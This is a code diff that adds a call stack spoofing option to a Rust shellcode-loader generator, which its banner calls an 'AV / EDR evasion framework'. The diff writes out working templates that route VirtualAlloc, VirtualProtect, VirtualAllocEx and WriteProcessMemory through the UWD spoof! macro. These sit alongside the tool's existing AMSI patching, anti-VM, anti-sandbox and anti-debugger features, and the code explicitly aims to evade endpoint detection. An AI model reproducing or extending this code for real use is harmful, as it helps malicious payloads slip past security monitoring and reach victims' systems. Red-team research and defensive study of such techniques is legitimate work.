diff --git a/src/cli/mod.rs b/src/cli/mod.rs
@@ -133,6 +133,10 @@ pub struct Options {
#[arg(long = "with-anti-debugger")]
pub with_anti_debugger: bool,
+ /// Enable call stack spoofing using UWD library for evasion
+ #[arg(long = "with-callstack-spoofing")]
+ pub with_callstack_spoofing: bool,
+
/// Check compatibility of technique with selected features and display information
#[arg(long = "check-compatibility")]
pub check_compatibility: bool,
@@ -501,4 +505,18 @@ mod tests {
assert!(opts.with_anti_sandbox);
assert!(opts.with_anti_debugger);
}
+
+ #[test]
+ fn test_with_callstack_spoofing_flag() {
+ let args = vec!["myph", "--with-callstack-spoofing"];
+ let opts = Options::parse_from(args);
+ assert!(opts.with_callstack_spoofing);
+ }
+
+ #[test]
+ fn test_without_callstack_spoofing_flag() {
+ let args = vec!["myph"];
+ let opts = Options::parse_from(args);
+ assert!(!opts.with_callstack_spoofing);
+ }
}
diff --git a/src/internals/dependencies.rs b/src/internals/dependencies.rs
@@ -52,6 +52,12 @@ winapi = { version = "0.3", features = ["ntdef"] }
"#
}
+fn callstack_spoofing_dependencies() -> &'static str {
+ r#"
+uwd = "0.3.5"
+"#
+}
+
pub fn get_dependencies_for_encryption(encryption_type: &str) -> Result<&'static str, String> {
match encryption_type {
"aes" => Ok(aes_dependencies_template()),
@@ -68,6 +74,7 @@ pub fn get_dependencies_for_encryption(encryption_type: &str) -> Result<&'static
pub fn get_dependencies(
encryption_type: &str,
with_dynamic_resolver: bool,
+ with_callstack_spoofing: bool,
) -> Result<String, String> {
let mut deps = get_dependencies_for_encryption(encryption_type)?.to_string();
@@ -75,5 +82,9 @@ pub fn get_dependencies(
deps.push_str(api_resolver_dependencies());
}
+ if with_callstack_spoofing {
+ deps.push_str(callstack_spoofing_dependencies());
+ }
+
Ok(deps)
}
diff --git a/src/internals/loader.rs b/src/internals/loader.rs
@@ -60,6 +60,7 @@ pub struct BuildConfig<'a> {
pub with_anti_vm: bool,
pub with_anti_sandbox: bool,
pub with_anti_debugger: bool,
+ pub with_callstack_spoofing: bool,
}
pub struct BuildEnv<'a> {
@@ -79,6 +80,7 @@ pub struct BuildEnv<'a> {
with_anti_vm: bool,
with_anti_sandbox: bool,
with_anti_debugger: bool,
+ with_callstack_spoofing: bool,
}
impl<'a> BuildEnv<'a> {
@@ -100,6 +102,7 @@ impl<'a> BuildEnv<'a> {
with_anti_vm: false,
with_anti_sandbox: false,
with_anti_debugger: false,
+ with_callstack_spoofing: false,
}
}
@@ -179,6 +182,11 @@ impl<'a> BuildEnv<'a> {
self
}
+ pub fn with_callstack_spoofing(mut self, enabled: bool) -> Self {
+ self.with_callstack_spoofing = enabled;
+ self
+ }
+
pub fn build(self) -> io::Result<PathBuf> {
let project_name = self
.project_name
@@ -219,6 +227,7 @@ impl<'a> BuildEnv<'a> {
with_anti_vm: self.with_anti_vm,
with_anti_sandbox: self.with_anti_sandbox,
with_anti_debugger: self.with_anti_debugger,
+ with_callstack_spoofing: self.with_callstack_spoofing,
};
setup_and_build_project(&config)
@@ -247,6 +256,7 @@ fn init_rust_project_with_target(config: &BuildConfig) -> io::Result<()> {
config.binary_format,
encryption_type_str,
config.with_dynamic_function_resolver,
+ config.with_callstack_spoofing,
)?;
write_cargo_config()?;
@@ -276,6 +286,7 @@ fn init_rust_project_with_target(config: &BuildConfig) -> io::Result<()> {
with_anti_vm: config.with_anti_vm,
with_anti_sandbox: config.with_anti_sandbox,
with_anti_debugger: config.with_anti_debugger,
+ with_callstack_spoofing: config.with_callstack_spoofing,
encryption_kind: config.encryption_kind,
encryption_key: config.encryption_key,
})?;
@@ -336,10 +347,14 @@ fn write_cargo_toml(
binary_format: &BinaryFormat,
encryption_type: &str,
with_dynamic_resolver: bool,
+ with_callstack_spoofing: bool,
) -> io::Result<()> {
- let dependencies =
- super::dependencies::get_dependencies(encryption_type, with_dynamic_resolver)
- .map_err(io::Error::other)?;
+ let dependencies = super::dependencies::get_dependencies(
+ encryption_type,
+ with_dynamic_resolver,
+ with_callstack_spoofing,
+ )
+ .map_err(io::Error::other)?;
let cargo_toml = match binary_format {
BinaryFormat::Exe => super::templates::generate_cargo_toml_exe(project_name, &dependencies),
@@ -391,6 +406,7 @@ struct SourceCodeParams<'a> {
with_anti_vm: bool,
with_anti_sandbox: bool,
with_anti_debugger: bool,
+ with_callstack_spoofing: bool,
encryption_kind: Option<&'a EncryptionKind>,
encryption_key: Option<&'a str>,
}
@@ -790,6 +806,7 @@ fn generate_source_code(params: SourceCodeParams) -> io::Result<String> {
.with_anti_vm(params.with_anti_vm)
.with_anti_sandbox(params.with_anti_sandbox)
.with_anti_debugger(params.with_anti_debugger)
+ .with_callstack_spoofing(params.with_callstack_spoofing)
.encryption_type(params.encryption.encryption_type)
.amsi_patch_code(&amsi_patch_code)
.evasion_code(&evasion_code)
@@ -1001,7 +1018,13 @@ fn init_rust_project_for_test(
let (encrypted_shellcode, encryption_type_str, key_bytes) =
prepare_shellcode_encryption(shellcode_data, Some(&encryption_kind), Some(encryption_key))?;
- write_cargo_toml(project_name, binary_format, encryption_type_str, false)?;
+ write_cargo_toml(
+ project_name,
+ binary_format,
+ encryption_type_str,
+ false,
+ false,
+ )?;
fs::create_dir_all("src")?;
@@ -1026,6 +1049,7 @@ fn init_rust_project_for_test(
with_anti_vm: false,
with_anti_sandbox: false,
with_anti_debugger: false,
+ with_callstack_spoofing: false,
encryption_kind: Some(&encryption_kind),
encryption_key: Some(encryption_key),
})?;
@@ -1093,6 +1117,7 @@ mod tests {
with_anti_vm: false,
with_anti_sandbox: false,
with_anti_debugger: false,
+ with_callstack_spoofing: false,
};
let result = init_rust_project(&config);
@@ -1155,6 +1180,7 @@ mod tests {
with_anti_vm: false,
with_anti_sandbox: false,
with_anti_debugger: false,
+ with_callstack_spoofing: false,
};
init_rust_project_with_target(&config).unwrap();
@@ -1328,6 +1354,7 @@ mod tests {
with_anti_vm: false,
with_anti_sandbox: false,
with_anti_debugger: false,
+ with_callstack_spoofing: false,
};
init_rust_project_with_target(&config).unwrap();
@@ -1419,6 +1446,7 @@ mod tests {
with_anti_vm: false,
with_anti_sandbox: false,
with_anti_debugger: false,
+ with_callstack_spoofing: false,
};
init_rust_project_with_target(&config).unwrap();
@@ -1475,6 +1503,7 @@ mod tests {
with_anti_vm: false,
with_anti_sandbox: false,
with_anti_debugger: false,
+ with_callstack_spoofing: false,
};
let result = init_rust_project(&config);
@@ -1534,6 +1563,7 @@ mod tests {
with_anti_vm: false,
with_anti_sandbox: false,
with_anti_debugger: false,
+ with_callstack_spoofing: false,
};
let result = init_rust_project(&config);
diff --git a/src/internals/templates/callstack_spoofing.rs b/src/internals/templates/callstack_spoofing.rs
@@ -0,0 +1,226 @@
+/// Generate UWD call stack spoofing wrapper code for Windows APIs
+///
+/// This module provides code generation for wrapping Windows API calls with
+/// UWD's call stack spoofing functionality. When enabled, API calls will have
+/// forged call stacks that appear to originate from legitimate system components.
+/// Generate imports needed for UWD call stack spoofing
+pub fn generate_uwd_imports() -> String {
+ r#"use uwd::{spoof, syscall};"#.to_string()
+}
+
+/// Generate wrapper function that uses UWD to spoof VirtualAlloc calls
+pub fn generate_spoofed_virtual_alloc() -> &'static str {
+ r#"
+/// Wrapper for VirtualAlloc with call stack spoofing
+unsafe fn virtual_alloc_spoofed(
+ address: *mut c_void,
+ size: usize,
+ allocation_type: u32,
+ protect: u32,
+) -> *mut c_void {
+ let result = spoof!(
+ VirtualAlloc,
+ address,
+ size,
+ allocation_type,
+ protect
+ );
+
+ match result {
+ Ok(addr) => addr as *mut c_void,
+ Err(_) => std::ptr::null_mut(),
+ }
+}
+"#
+}
+
+/// Generate wrapper for VirtualProtect with call stack spoofing
+pub fn generate_spoofed_virtual_protect() -> &'static str {
+ r#"
+/// Wrapper for VirtualProtect with call stack spoofing
+unsafe fn virtual_protect_spoofed(
+ lp_address: *mut c_void,
+ dw_size: usize,
+ fl_new_protect: u32,
+ lpfl_old_protect: *mut u32,
+) -> i32 {
+ let result = spoof!(
+ VirtualProtect,
+ lp_address,
+ dw_size,
+ fl_new_protect,
+ lpfl_old_protect
+ );
+
+ match result {
+ Ok(ret) => ret as i32,
+ Err(_) => 0,
+ }
+}
+"#
+}
+
+/// Generate wrapper for VirtualAllocEx with call stack spoofing
+pub fn generate_spoofed_virtual_alloc_ex() -> &'static str {
+ r#"
+/// Wrapper for VirtualAllocEx with call stack spoofing
+unsafe fn virtual_alloc_ex_spoofed(
+ process: *mut c_void,
+ address: *const c_void,
+ size: usize,
+ allocation_type: u32,
+ protect: u32,
+) -> *mut c_void {
+ let result = spoof!(
+ VirtualAllocEx,
+ process,
+ address,
+ size,
+ allocation_type,
+ protect
+ );
+
+ match result {
+ Ok(addr) => addr as *mut c_void,
+ Err(_) => std::ptr::null_mut(),
+ }
+}
+"#
+}
+
+/// Generate wrapper for WriteProcessMemory with call stack spoofing
+pub fn generate_spoofed_write_process_memory() -> &'static str {
+ r#"
+/// Wrapper for WriteProcessMemory with call stack spoofing
+unsafe fn write_process_memory_spoofed(
+ process: *mut c_void,
+ base_address: *const c_void,
+ buffer: *const c_void,
+ size: usize,
+ number_of_bytes_written: *mut usize,
+) -> i32 {
+ let result = spoof!(
+ WriteProcessMemory,
+ process,
+ base_address,
+ buffer,
+ size,
+ number_of_bytes_written
+ );
+
+ match result {
+ Ok(ret) => ret as i32,
+ Err(_) => 0,
+ }
+}
+"#
+}
+
+/// Generate comment explaining UWD integration
+pub fn generate_uwd_info_comment() -> &'static str {
+ r#"
+// ============================================================================
+// Call Stack Spoofing with UWD
+// ============================================================================
+// This binary uses the UWD library to spoof call stacks when making Windows
+// API calls. This makes the execution appear as if it's coming from legitimate
+// system components, evading detection mechanisms that inspect call stacks.
+//
+// UWD Repository: https://github.com/joaoviictorti/uwd
+// ============================================================================
+"#
+}
+
+/// Generate complete UWD wrapper module for inclusion in generated code
+pub fn generate_uwd_wrapper_module() -> String {
+ format!(
+ r#"{}
+{}
+
+use std::ffi::c_void;
+
+// Import Windows API functions that will be spoofed
+#[link(name = "kernel32")]
+extern "system" {{
+ fn VirtualAlloc(
+ address: *mut c_void,
+ size: usize,
+ allocation_type: u32,
+ protect: u32,
+ ) -> *mut c_void;
+
+ fn VirtualProtect(
+ lp_address: *mut c_void,
+ dw_size: usize,
+ fl_new_protect: u32,
+ lpfl_old_protect: *mut u32,
+ ) -> i32;
+
+ fn VirtualAllocEx(
+ process: *mut c_void,
+ address: *const c_void,
+ size: usize,
+ allocation_type: u32,
+ protect: u32,
+ ) -> *mut c_void;
+
+ fn WriteProcessMemory(
+ process: *mut c_void,
+ base_address: *const c_void,
+ buffer: *const c_void,
+ size: usize,
+ number_of_bytes_written: *mut usize,
+ ) -> i32;
+}}
+
+{}
+{}
+{}
+{}
+"#,
+ generate_uwd_info_comment(),
+ generate_uwd_imports(),
+ generate_spoofed_virtual_alloc(),
+ generate_spoofed_virtual_protect(),
+ generate_spoofed_virtual_alloc_ex(),
+ generate_spoofed_write_process_memory()
+ )
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_uwd_imports() {
+ let imports = generate_uwd_imports();
+ assert!(imports.contains("use uwd"));
+ assert!(imports.contains("spoof"));
+ assert!(imports.contains("syscall"));
+ }
+
+ #[test]
+ fn test_generate_spoofed_virtual_alloc() {
+ let code = generate_spoofed_virtual_alloc();
+ assert!(code.contains("virtual_alloc_spoofed"));
+ assert!(code.contains("spoof!"));
+ assert!(code.contains("VirtualAlloc"));
+ }
+
+ #[test]
+ fn test_generate_spoofed_virtual_protect() {
+ let code = generate_spoofed_virtual_protect();
+ assert!(code.contains("virtual_protect_spoofed"));
+ assert!(code.contains("spoof!"));
+ assert!(code.contains("VirtualProtect"));
+ }
+
+ #[test]
+ fn test_generate_uwd_wrapper_module() {
+ let module = generate_uwd_wrapper_module();
+ assert!(module.contains("use uwd"));
+ assert!(module.contains("virtual_alloc_spoofed"));
+ assert!(module.contains("virtual_protect_spoofed"));
+ assert!(module.contains("Call Stack Spoofing"));
+ }
+}
diff --git a/src/internals/templates/main_funcs.rs b/src/internals/templates/main_funcs.rs
@@ -12,6 +12,7 @@ pub struct TemplateConfig<'a> {
pub with_anti_vm: bool,
pub with_anti_sandbox: bool,
pub with_anti_debugger: bool,
+ pub with_callstack_spoofing: bool,
pub encryption_type: &'a str,
pub amsi_patch_code: &'a str,
pub evasion_code: &'a str,
@@ -38,6 +39,7 @@ pub struct TemplateConfigBuilder<'a> {
with_anti_vm: bool,
with_anti_sandbox: bool,
with_anti_debugger: bool,
+ with_callstack_spoofing: bool,
encryption_type: Option<&'a str>,
amsi_patch_code: Option<&'a str>,
evasion_code: Option<&'a str>,
@@ -60,6 +62,7 @@ impl<'a> TemplateConfigBuilder<'a> {
with_anti_vm: false,
with_anti_sandbox: false,
with_anti_debugger: false,
+ with_callstack_spoofing: false,
encryption_type: None,
amsi_patch_code: None,
evasion_code: None,
@@ -132,6 +135,11 @@ impl<'a> TemplateConfigBuilder<'a> {
self
}
+ pub fn with_callstack_spoofing(mut self, enabled: bool) -> Self {
+ self.with_callstack_spoofing = enabled;
+ self
+ }
+
pub fn encryption_type(mut self, enc_type: &'a str) -> Self {
self.encryption_type = Some(enc_type);
self
@@ -169,6 +177,7 @@ impl<'a> TemplateConfigBuilder<'a> {
with_anti_vm: self.with_anti_vm,
with_anti_sandbox: self.with_anti_sandbox,
with_anti_debugger: self.with_anti_debugger,
+ with_callstack_spoofing: self.with_callstack_spoofing,
encryption_type: self.encryption_type.unwrap_or(""),
amsi_patch_code: self.amsi_patch_code.unwrap_or(""),
evasion_code: self.evasion_code.unwrap_or(""),
@@ -234,6 +243,12 @@ pub fn generate_exe_main_template(config: &TemplateConfig) -> String {
String::new()
};
+ let callstack_spoofing_code = if config.with_callstack_spoofing {
+ super::generate_uwd_info_comment().to_string()
+ } else {
+ String::new()
+ };
+
let amsi_patch_code = if config.with_amsi_patch {
config.amsi_patch_code.to_string()
} else {
@@ -279,6 +294,8 @@ pub fn generate_exe_main_template(config: &TemplateConfig) -> String {
{}
+{}
+
const ENCRYPTED_SHELLCODE: &[u8] = &{};
const DECRYPTION_KEY: &[u8] = &{};
{}
@@ -291,6 +308,7 @@ fn main() {{
config.internals_source,
super::techniques::common::common_local_memory_imports(),
super::techniques::common::common_local_memory_externs(),
+ callstack_spoofing_code,
api_hammering_code,
amsi_patch_code,
evasion_code,
@@ -314,6 +332,12 @@ pub fn generate_dll_lib_template(config: &TemplateConfig) -> String {
String::new()
};
+ let callstack_spoofing_code = if config.with_callstack_spoofing {
+ super::generate_uwd_info_comment().to_string()
+ } else {
+ String::new()
+ };
+
let amsi_patch_code = if config.with_amsi_patch {
config.amsi_patch_code.to_string()
} else {
@@ -359,6 +383,8 @@ pub fn generate_dll_lib_template(config: &TemplateConfig) -> String {
{}
+{}
+
const ENCRYPTED_SHELLCODE: &[u8] = &{};
const DECRYPTION_KEY: &[u8] = &{};
{}
@@ -378,6 +404,7 @@ pub extern "C" fn get_shellcode_size() -> usize {{
config.internals_source,
super::techniques::common::common_local_memory_imports(),
super::techniques::common::common_local_memory_externs(),
+ callstack_spoofing_code,
api_hammering_code,
amsi_patch_code,
evasion_code,
@@ -454,6 +481,7 @@ mod tests {
with_anti_vm: false,
with_anti_sandbox: false,
with_anti_debugger: false,
+ with_callstack_spoofing: false,
encryption_type: "xor",
amsi_patch_code: "",
evasion_code: "",
@@ -502,6 +530,7 @@ mod tests {
with_anti_vm: false,
with_anti_sandbox: false,
with_anti_debugger: false,
+ with_callstack_spoofing: false,
encryption_type: "aes",
amsi_patch_code: "",
evasion_code: "",
diff --git a/src/internals/templates/mod.rs b/src/internals/templates/mod.rs
@@ -1,5 +1,6 @@
mod amsi_patch;
mod api_hammering;
+mod callstack_spoofing;
mod cargo_config;
mod code_context;
mod code_validator;
@@ -17,6 +18,7 @@ pub mod techniques;
pub use amsi_patch::*;
pub use api_hammering::*;
+pub use callstack_spoofing::*;
pub use cargo_config::*;
pub use code_context::*;
pub use code_validator::*;
diff --git a/src/main.rs b/src/main.rs
@@ -48,7 +48,7 @@ const ASCII_ART: &str = r#"
,:::::' ; OOO (1974 - 2016)
::::::; ; OOOOO
;:::::; ; OOOOOOOO
- ,;::::::; ;' / OOOOOOO v2.1.1
+ ,;::::::; ;' / OOOOOOO v2.1.0
;::::::::: . ,,,;. / / DOOOOOO
.';:::::::::::::::::;, / / DOOOO
,::::::;::::::;;;;::::;, / / DOOO AV / EDR evasion framework
@@ -201,6 +201,7 @@ fn display_configuration(opts: &Options) {
display_supported("Anti-VM Detection", opts.with_anti_vm);
display_supported("Anti-Sandbox Detection", opts.with_anti_sandbox);
display_supported("Anti-Debugger Detection", opts.with_anti_debugger);
+ display_supported("Call Stack Spoofing", opts.with_callstack_spoofing);
println!();
}
@@ -260,7 +261,8 @@ fn run() -> io::Result<()> {
.with_dynamic_function_resolver(opts.with_dynamic_function_resolver)
.with_anti_vm(opts.with_anti_vm)
.with_anti_sandbox(opts.with_anti_sandbox)
- .with_anti_debugger(opts.with_anti_debugger);
+ .with_anti_debugger(opts.with_anti_debugger)
+ .with_callstack_spoofing(opts.with_callstack_spoofing);
build_env
.build()
| | | | | | |